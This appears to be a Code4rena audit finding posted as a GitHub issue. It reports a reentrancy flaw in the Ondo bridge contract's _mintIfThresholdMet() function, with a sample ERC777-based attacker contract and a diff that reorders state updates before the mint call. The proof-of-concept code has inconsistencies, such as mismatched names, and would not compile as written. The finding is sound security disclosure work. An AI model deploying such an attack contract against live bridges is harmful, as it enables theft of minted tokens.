Lines of code
<https://github.com/code-423n4/2023-09-ondo/blob/main/contracts/bridge/DestinationBridge.sol#L350>
By applying reentrancy attack involving the function _mintIfThresholdMet(), an user can steal extra amount of mint fund.
The functions _mintIfThresholdMet() make external mint call prior to updating the txnHashToTransaction state. If the real world asset tokens contains an ERC777 token, attacker can mint free RWA tokens again.
Bob has a contract that is an approver
A sample bob contract has this:
interface IBridge {
function approve(bytes32 txnHash) external {}
}
contract AttackBridge {
address private owner;
IBridge private bridge;
IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 txnHash;
constructor(address _bridge, bytes32 _txnHash) {
owner = msg.sender;
bridge = Bridge(_bridge);
txnHash = _txnHash;
_ERC1820_REGISTRY.setInterfaceImplementer(
address(this),
_ERC1820_REGISTRY.interfaceHash("ERC777TokensRecipient"),
address(this)
);
}
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external {
require(msg.sender == address(bridge), "not bridge");
bridge.approve(txhash);
}
}
Bob uses contract to make bridge operation
_execute function gets called on destination chain contract which call the _mintIfThresholdMet.
after receiving mint, contract reenter before transaction state is deleted and calls approve to mint again
Visual Studio Code
Move external calls after state updates. It is best practice to make external calls after updating state in accordance with the check-effect-interact pattern.
so specifically, change this line of code to this:
- TOKEN.mint(txn.sender, txn.amount);
- delete txnHashToTransaction[txnHash];
+ delete txnHashToTransaction[txnHash];
+ TOKEN.mint(txn.sender, txn.amount);
Reentrancy
The text was updated successfully, but these errors were encountered:
All reactions